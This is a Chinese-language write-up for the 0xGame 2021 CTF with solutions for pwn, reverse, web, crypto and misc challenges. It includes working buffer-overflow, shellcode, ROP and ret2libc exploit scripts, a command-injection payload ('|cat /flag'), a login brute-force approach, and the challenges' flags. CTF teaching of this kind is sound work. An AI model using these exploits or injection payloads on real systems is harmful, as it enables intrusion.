0xGame 2021 WriteUp 1

Pwn

Pwn？！

附件给的其实有点多余，我给的目的是让大家知道pwn的最终目的就是执行system("/bin/sh")

直接nc连接上之后cat flag打开flag文件即可

ret2text

我已经给了后门函数地址在0x40115b

有一个明显的栈溢出

ida里面显示距离rbp-0x50

那么就直接覆盖0x50个字节填充以及0x8个字节覆盖rbp即可劫持到ret地址

直接覆盖成后门函数即可

```
from pwn import*
r=remote('121.4.15.155',10003)
#r=process('./main')
context.log_level='debug'

r.recvline()
r.send('a'*0x58+p64(0x40115b))

r.interactive()
```

WTF? Shellcode!

这个题其实就是想让大家了解什么是shellcode

也就是直接执行机器码

通过上网查找或者让pwntools自己生成的方法找到一段shellcode即可

注意shellcode的编写需要熟练的汇编理解，而且日后会经常写一些复杂的shellcode

注意到执行的是buf+0x20而不是buf本身

所以填充0x20个字节再放置shellcode

```
from pwn import*
r=process('./main')
context.log_level='debug'

shellcode="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\
x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

r.recvline()
gdb.attach(r)
r.send('\x00'*0x20+shellcode)

r.interactive()
```

No BackDoor!

这题需要了解linux下寄存器传递参数的顺序

rdi rsi rdx rcx r8 r9 栈

既然存在system函数，而且查找存在/bin/sh字符串

直接控制rdi位/bin/sh字符串地址，在调用system函数

就相当于执行了system("/bin/sh")

而控制rdi用的是pop rdi ; ret ;

这样直接把字符串地址布置在栈上

通过pop即控制了rdi参数

(注意到这里有点小问题，就是直接执行会报错，详情可以参考http://blog.eonew.cn/archives/958

需要ret一次来调整栈帧)(当然也可以直接当下一题做)

```
from pwn import*
r=process('./main')
context.log_level='debug'

pop_rdi=0x401223
bin_sh=0x404040
system=0x401040

r.recvline()
r.send('a'*0x58+p64(pop_rdi+1)+p64(pop_rdi)+p64(bin_sh)+p64(system))

r.interactive()
```

ret2libc pro max

模板题，ctfwiki上讲的非常详细

建议遇上相似题目直接套模板

libc版本为2.23-ubuntu11.2_amd64

```
from pwn import*
r=remote('121.4.15.155',10004)
#r=process('./main')
context.log_level='debug'

libc=ELF('./libc-2.23.so')

pop_rdi=0x401223
puts_plt=0x401030
puts_got=0x404018
start=0x401060

r.recvline()
r.send('a'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start))

libc_base=u64(r.recvline()[:-1]+p16(0))-libc.sym['puts']
success('libc_base: '+hex(libc_base))

system=libc_base+libc.sym['system']
bin_sh=libc_base+0x18ce17

r.recvline()
r.send('a'*0x58+p64(pop_rdi)+p64(bin_sh)+p64(system))

r.interactive()
```

Reverse

Signin: User Friendly

IDA 打开软件 直接按 `f5` 或者 `shift` + `f12` 查看字符串，即可看到flag

有人可能会想知道，每次生成的随机数是多少。实际上我也不知道。因为每次程序运行使用的随机种子都不同，所以生成的随机数也不同。如果想知道生成的随机数是多少，可以自行动态调试获知，再输入程序获取flag

Packet

[UPX github链接]

脱壳命令 `upx -d test.exe`

这里还需要知道一下 `(a&~b | b&~a) == a ^ b` 这两个运算相等

解题脚本

```
arr = [161, 15, 188, 111, 218, 169, 159, 94, 41, 246, 197, 228, 110, 242, 177, 56, 27, 1, 17, 256, 256, 50, 233, 65, 104, 2, 4, 6, 42, 112, 55, 107, 48, 93, 130, 232, 37, 87, 242, 130]
enc = [145, 119, 251, 14, 183, 204, 228, 56, 17, 148, 253,133, 92, 145, 132, 92, 125, 103, 39, 308, 309, 10, 216, 35, 13, 48, 101, 62, 19, 69, 84, 82, 81, 62, 176, 217, 19, 51, 195, 255]
for i in range(0,40):
    print(chr(arr[i] ^ enc[i]), end = "")
# 0xGame{f8b8a2c5dff64581be2a895c9ac216d1}
```

Our Compilation Story

简单 python 代码，读懂就可以做

```
arr = [21,44,45,104,31,30,26,121,65,125,23,112,77,46,47,126,89,112,7,109,7,88,10,105,104,59,54,91,83,98,32,54,15,65,113,119,113]
arr = arr[::-1]
for i in range(0,len(arr) - 3):
    print(chr(arr[i] ^ arr[i + 3]), end = "")
# 0xGame{Th3_1Ong_w4y_w3_9O1ng_fr33}
```

Random Chaos

C语言 `rand` 函数生成的随机数是伪随机数，本质是一个线性同余发生器，在随机种子给定的情况下每次生成的随机数序列相同，所以直接异或就可以

```
#include<stdio.h>
#include<stdlib.h>
unsigned char enc[41] = {0x22, 0xca, 0x7, 0x19, 0xf8, 0xfb, 0x28, 0x9d, 0x1e, 0x80, 0xac, 0xc9, 0x60, 0x46, 0x18, 0x21, 0xdf, 0x95, 0xd5, 0x70, 0xc5, 0x19, 0xea, 0xb0, 0x9c, 0x83, 0x11, 0x4a, 0x93, 0xc7, 0x91, 0xf6, 0x14, 0x71, 0x2f, 0x22, 0x14, 0xbf, 0x58, 0x76};

int main()
{
    srand(0x2021);
    for (int i = 0; i < 40; ++i)
```

```
    {
        printf("%c",(enc[i] ^ (rand() & 0xff)));
    }
    return 0;
}
// 0xGame{d6ca93397ecb4d4e83792a7100737932}

```

Neverland

递归深度比较小的时候，递归求解还能出结果

当递归深度非常大时候，时间不够求解出结果，所以flag只能输出一半

可以看一下文章按照优化斐波那契数列的方法优化一下func函数(比如将递归转换为一个循环函数进行计算，虽然也慢，但与递归相比是非常的快了)，就能输出正确结果

【C语言】斐波那契数列四种优化求解

当然不看以上方法也可以，我们知道 `int` 型数据储存数据有范围限制，而且可以知道这个数列在不断增大，所以 `func` 函数每次返回的数据，相当于数列中对应数据的值对 0x10000000 取模

斐波那契数列对某一个数取模会出现循环节，这个数列也同样如此，我们将 `func` 函数写一遍，按顺序输出一些数就可以发现规律了

测试代码如下

```
def func(n):
    if (n == 0):
        return 7
    if (n == 1):
        return 8
    return (3 * func(n-1) + 4 * func(n-2)) & 0xffffffff

for i in range(1,50):
    print(i,":",func(i))
```

输出结果如下

```
0 : 7
1 : 8
2 : 52
3 : 188
4 : 772
5 : 3068
6 : 12292
7 : 49148
8 : 196612
9 : 786428
10 : 3145732
11 : 12582908
12 : 50331652
13 : 201326588
14 : 805306372
15 : 3221225468
16 : 4
17 : 4294967292
```

```
18 : 4
19 : 4294967292
20 : 4
21 : 4294967292
22 : 4
23 : 4294967292
24 : 4
25 : 4294967292
26 : 4
27 : 4294967292
28 : 4
29 : 4294967292
30 : 4
```

很容易就发现循环节了把，所以接下来就是直接异或操作就行，代码比较简单，这里就不写了

甚至我们可以求出这个数列的通项公式，也很容易得到这个数列的每一个数据对应的值，下面给出一个知乎链接讲述形如斐波那契数列的数列如何求通项公式

[斐波那契数列通项公式是怎样推导出来的？-知乎]

通项公式为 `a(n) = 3 * 4 ** n + 4 * (-1) ** n`

Roundabout

脱壳后，简单的利用 key 来循环异或，代码如下

```python
arr = [68, 16, 46, 18, 50, 12, 8, 61, 86, 10, 16, 103, 0, 65, 0, 1, 70, 90, 68, 66, 110, 12, 68, 114, 12, 13, 64, 62, 75, 95, 2, 1, 76, 94, 91, 23, 110, 12, 22, 104, 91, 18]
h = "this_is_not_flag\x00"
flag = ""
for i in range(0, 42):
    flag += chr(ord(h[i % 16]) ^ arr[i])
print(flag)
# 0xGame{b8ed8f-af22-11e7-bb4a-3cf862d1ee75}
```

Zero Three

z3 使用一下，就能解出flag

```python
from z3 import *
import libnum
p = [Int('x%d'%i) for i in range(0,32)]
num = [Int('u%d'%i) for i in range(0,8)]

s = Solver()

for i in range(0,32):
    s.add(p[i] > 0x20)
    s.add(p[i] < 127)

s.add(2 * p[5] + 8225 - p[0] - 9 * p[3] - p[4] - p[9] + p[10] - 6 * p[11] - p[13] - 3 * p[14] - 5 * p[15] == 5643)
s.add(3 * p[14] + 8 * p[10] -3  * p[2] - 6 * p[0] + 8225 - p[1] - 2 * p[5] + 3 * p[8] - 8 * p[11] + 4 * p[12] - 6 * p[15] == 6620)
```

```
s.add(-5 * p[12] - 7 * p[6] - 3 * p[1] + 8225 - 2 * p[0] - p[2] - 5 * p[3] - 7 * p[4] - 6 * p[5] - 2 * p[8] + 6 * p[13] == 5538)
s.add(2 * p[5] + 2 * p[1] + 8225 - 2 * p[0] - 2 * p[3] + 3 * p[4] - 2 * p[8] - p[10] - p[12] - 2 * p[14] - 2 * p[15] == 7693)
s.add(-6 * p[14] + 8225 - 2 * p[1] - 2 * p[2] - 9 * p[3] + 2 * p[4] - 5 * p[7] + 2 * p[8] - 9 * p[9] - 4 * p[10] - 6 * p[15] == 4735)
s.add(9 * p[14] - 7 * p[10] + 8 * p[9] + 5 * p[0] + 8225 - p[2] + p[5] - 5 * p[6] - 8 * p[11] - p[12] - 9 * p[15] == 7060)
s.add(p[13] - 5 * p[7] - 3 * p[2] - 3 * p[0] + 8225 - 4 * p[1] - 4 * p[4] - p[6] + 9 * p[10] - 2 * p[14] - 6 * p[15] == 5864)
s.add(-9 * p[14] - 3 * p[10] + 9 * p[1] - 6 * p[0] + 8225 - 5 * p[3] - 4 * p[7] - 2 * p[11] - 2 * p[12] + p[13] + 9 * p[15] == 7393)
s.add(6 * p[9] - 5 * p[8] - 3 * p[6] + 9 * p[2] + 8225 - p[4] + 3 * p[5] - 7 * p[7] + 7 * p[10] - 2 * p[13] - p[14] == 8442)
s.add(8 * p[6] - 7 * p[2] + 8225 - 8 * p[1] - p[3] + 6 * p[4] - p[7] + 5 * p[8] - 4 * p[10] - p[14] + 7 * p[15] == 8376)

for i in range(0,32,4):
    s.add(num[i//4] == (p[i] + (p[i+1] * 256) + (p[i+2] * 65536) + (p[i+3] * 16777216)))

s.add(-22827 * num[4] + 21984 * num[1] - 38534 * num[5] - 32344 * num[0] == -98460819657603)
s.add(-38215 * num[2] - 37324 * num[4] - 8436 * num[5] + 15405 * num[0] == -131665436206262)
s.add(10926 * num[7] - 28942 * num[1] - 34572 * num[3] - 10538 * num[5] == -121891239772992)
s.add(-30117 * num[6] - 22990 * num[2] - 20471 * num[5] + 34494 * num[7] == -57089882568260)
s.add(-33112 * num[5] - 19335 * num[4] + 34348 * num[1] + 31445 * num[2] == 56335531538050)
s.add(-13566 * num[5] + 14758 * num[0] - 19814 * num[2] - 26447 * num[4] == -81105980248303)
s.add(25898 * num[5] - 15817 * num[1] + 20463 * num[7] - 33578 * num[0] == -28860618440412)
s.add(-35429 * num[7] + 36594 * num[2] - 28801 * num[6] - 14952 * num[3] == -45384029412201)

print(s.check())
if s.check() == sat:
    flag = b""
    result = s.model()
    for i in range(0,8):
        print(num[i], result[num[i]])
    for i in range(0,8):
        flag += libnum.n2s(result[num[i]].as_long())[::-1]
    flag = "0xGame{" + str(flag, encoding = "utf-8") + "}"
    print(flag)
# 0xGame{udydYCBxUB6vqsAt5VCs6LKDRqXLUhSW}
```

Web

看看我的头

这个题主要是考察请求头的结构大概了解每部分都有什么作用。

点进题目，先是打开方式不对，这很容易想到是请求方式不对，把GET请求方式改为POST，可以看到网页提示变化。再是提示要使用`N1k0la浏览器`。请求头中User-Agent向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。所以我们在这添加`N1k0la`。页面又发生变化，提示要本地登陆，所以我们添加X-Forwarded-For头去伪造我们的来源ip为本地ip：127.0.0.1

然后会得到一串base64编码的数据解码后是

```
$a=$_GET['0xGame2021'];$b=$_POST['X1cT34m'];$d=$_POST['Pupi1'];$c='welcome to the
0xGame2021';if(md5($b)==md5($d)&&$a===$c){echo $flag;}
```

这里是一个php的弱类型，md5碰撞，有多种方式去做

1. md5()返回32位字符串，若均为**0e**开头可被认为是科学计数法表示的数字**0**
2. md5()处理不了数组，会报错并返回NULL值。所以2个变量的md5值会相同
3. 因为这里没有对是否传入变量进行判断，所以不传入md5处理的那2个变量，md5() 会直接输出`d41d8cd98f00b204e9800998ecf8427e`代表空。
4. 当然也可以直接传入2个一样的值 :-)

看看你能登陆吗

这个题主要是为了让新生熟悉burpsuit的操作，了解web渗透的本质是信息搜集。

题目说了登陆的关键词，自然想到可能存在后台，直接试常见的后台路径，或者使用目录扫描器扫描后台路径。发现`/admin`存在访问发现后台。有提示说密码是4位纯数字，常识可知后台的用户名大部分为admin，所以我们爆破密码。这里可以使用burpsuit，或者python写脚本，只是这里密码故意设为0310（出题人的生日，嘻嘻 所以在爆破密码时要注意0开头的4个数字也是合理的。爆破登陆即可。

robots

Robots协议了解一下。

robots.txt会被放在网站根目录下，告诉爬虫哪些不能爬，哪些能爬。 直接访问

`/robots.txt`得到提示4ll.html，之后直接访问`/4ll.html`F12查看网页源代码，即可得到。

爱ping才会赢

这个题主要考察linux下的命令执行。

首先发现带有Ping字样的按钮是不可点击的，F12后将对应处的disabled="disabled"删除即可点中。

这里实现ping的功能猜测是使用了调用系统命令的函数，所以我们可以进行命令拼接。

在linux中; |等**连接符**可连接两个独立语句并执行

`|ls /`所以我们传入这个就可以查看根目录下的文件，找到flag后直接传入`|cat /flag`即可

Crypto

Crypto Sign in

下载附件，阅读一下入门指南，最后就有flag。

CuteCaesar

这题其实拿到附件，可以直接复制附件嗷呜嗷呜的内容去必应搜索，就能找到相关内容，可以知道需要兽语解码，当然第一天之后给了hint，大家也都很快找到了这个解码器。解码之后是

```
OaJdph{fdhvdu_1v_qOw_fxwh}
```

这里根据题目名字，就可以知道是凯撒加密，百度找一个凯撒密码的解密器，位移量是3，解密即可。

manycode

这题套娃层数有点多，给大家添堵了，在这里道歉了。一开始的层数更多，后来想了想有些编码不是很常用，就去了两层，并且给了提示，搜索ctf常见编码，一个个比照就可以一层层解密。主要希望大家能掌握Base64、32、16这三种常见编码的形式。

首先是aaencode，找一个在线解码器即可，网上说的在控制台运行会报错，可能是js的新语法规定“_”不能定义变量。然后就是三层base解码，依次是base16，base32，base64。最后就可以得到flag。

ezVigenère

这题的做法很多，有的同学是写程序爆破key，有的同学是根据最后flag的格式0xGame，从而推断key为abc，当然也有同学找了一个网址，里面的key默认是abc，直接解密（大意了，忘改key了）。这里给大家推荐一个网站，网站是通过词频分析，破解维吉尼亚密码的，直接复制进去解密即可。https://www.guballa.de/vigenere-solver

MyFunction

一个函数，这个函数是已知$y = x\ln x$,求x的结果。
这个题是模仿西电新生赛的函数题出的，那边用的是$y = e^x$，这个函数有反函数$y = \ln x$。但$y = x\ln x$没有反函数，但根据这个函数在$[1, +\infty)$单调增，因此我们一个一个枚举它的值就行了。可能要考虑一下浮点误差(但实测并不需要)

```
from Crypto.Util.number import *
from math import log
s=""
D=open("output.txt","r").readlines()
for i in range(len(D)):
    y=float(D[i])
    for x in range(1,128):
        if abs(x*log(x)-y)<0.003:
            s+=chr(x)
print(s)
#0xGame{YouH4veKn0wedPy7honL081s<y=ln(x)>InM47hs}
```

不过多数人是Excel打表、或者一个一个算的。直接开脚本写的不多。

Class 8

八种古典密码（可能确实出得有点脑洞了）

```
第1、6位是盲文
第2、7位是跳舞的小人
第3位是猪圈密码
第4、11、16位是手机九键键盘
第5、9、14位是莫尔斯电码
第8、12位是银河字母
第10、15位是培根密码
第13位是电脑键盘，cfgb之间围着的是V
```

这道题一开始打算出规则的单词的，但后面就出得不规则了。主要是第13位、第15位出问题出得比较多。第15位确实有两种解法，因此第15位是`o`最后也算对了。

flag: `0xGame{CLASSLNRDDLDVTNB}`或`0xGame{CLASSLNRDDLDVTOB}`

ABC Of RSA

这个题是后面加的。主要是给新生入门一下RSA。。。

```
在RSA加密中，已知:
p=9677
q=9241
e=10009
求解密指数d不超过4000万的正值，用十进制表示，包上0xGame{}提交。
```

百度百科上就有很多关于RSA的加密方法和解密方法。如果用上Crypto包，是非常好做的。

```
from Crypto.Util.number import *
p,q=9677,9241
phi=(p-1)*(q-1)
print(inverse(10009,phi))
#39982249
#flag是0xGame{39982249}
```

也有很多学弟学妹们用的是逆元的定义：$10009d=1+k\phi$做出来的，通过枚举k，找到了d的值。。不过这一方法在下一个RSA中就不太适用了，因为下一题的k很大，没法枚举了。

BlackGiveRSA

一个RSA题目，看到n比较小，那么n的值直接放入网站/yafu/sagemath中分解就行了。
分解出$p=1175078221,q=1435756429$。然后对输出内容一段一段解密，再`long_to_bytes`连接起来，就是flag了。

```
from Crypto.Util.number import *
p,q=1175078221,1435756429
n,phi=p*q,(p-1)*(q-1)
d=inverse(10007,phi)
cipher=[
    1150947306854980854,
    243703926267532432,
    1069319314811079682,
    688582941857504686,
```

```
    670683629344243145,
    1195068175327355214
    ]
m=b""
for c in cipher:
    m+=long_to_bytes(pow(c,d,n))
print(m)
#0xGame{ChuTiRenDeQQShiJiShangJiuShiQDeZhi}
```

flag解出来：“出题人的QQ实际上就是q的值。”，各位学弟学妹们可以看看自己QQ是不是素数，平均30几个QQ号就有一个是素数。

Misc

Sign in

直接看RULES就行

A translate draft

下载附件，打开提示需要输入密码，是伪加密。扔进winhex，搜索504B0102，往后看加密位置，是0900，更改为0000。打开文件，将word文档解压出来，打开，下拉到最下方，有一段空白，全选更改字体颜色为红色可以看到b32加密的串，解出前半段flag。将word改为zip，打开发现HiddenBy13.txt，内容为rot13加密的后半段flag。

认真的血

NTFS文件流隐写，使用winrar解压文件，使用ntfsstreameditor扫描得到flag.txt，内容为ROT47加密，解密得flag。

Kakurennbo

光标在文本内停留，按→键会发现有明显的阻滞感。这显然是0宽隐写。验证：在kali下使用vim打开文本，可以发现0宽字符。在线解密http://330k.github.io/misc_tools/unicode_steganography.html

可以得到W型栅栏加密过的flag。http://www.atoolbox.net/Tool.php?Id=777解密，栏数21得到flag。

EzAlgorithm

一个简单的算法题：因为第i级楼梯可以通过第$i-1,i-2,i-3$级楼梯到达，因此到达第i级楼梯的走法等于到达第$i-1$级楼梯的走法加上到达第$i-2$级楼梯的走法加上到达第$i-3$级楼梯的走法。

不过在这之前，我们要判断一下楼梯有没有坏掉。如果楼梯坏掉了，那么我们就直接把到达那一级楼梯的方法数记为0就行。

这边需要注意的是，由于模数1435756429比`C/C++ int`的最大值的一半要大，那这里需要开`long long`解决。

这是解题代码（C语言的，C++/Python也可以做。），最后是十个测试点的答案。需要注意的是有一个点有点坑，因为那个点它第一级楼梯就是坏的：

```
#include<stdio.h>
long long f[4000000]={0},v[4000000]={0};
int n,k;
int main()
{
```

```
    FILE *fp=fopen("testdata10.in","r");//这边的数字从1到10挨个修改，运行一遍就行
    FILE *gp=fopen("result.out","a");
    int i,j;
    fscanf(fp,"%d%d",&n,&k);
    for(i=1;i<=k;i++)
    {
        int x;
        fscanf(fp,"%d",&x);
        v[x]=1;
    }
    if(!v[1]) f[1]=1;
    if(!v[2]) f[2]=f[1]+1;
    if(!v[3]) f[3]=f[1]+f[2]+1;
    for(i=4;i<=n;i++)
    {
        if(v[i]==1)
            f[i]=0;
        else
            f[i]=(f[i-1]+f[i-2]+f[i-3])%1435756429;
    }
    fprintf(gp,"%lld\n",f[n]%1435756429);
    fclose(fp);
    fclose(gp);
}
//13 98 47 3359124 1205125 834118675 1289432148 1087983205 1176572515
566575482
```

这些数加起来模1435756429的值为651977145，所以flag为`OxGame{651977145}`。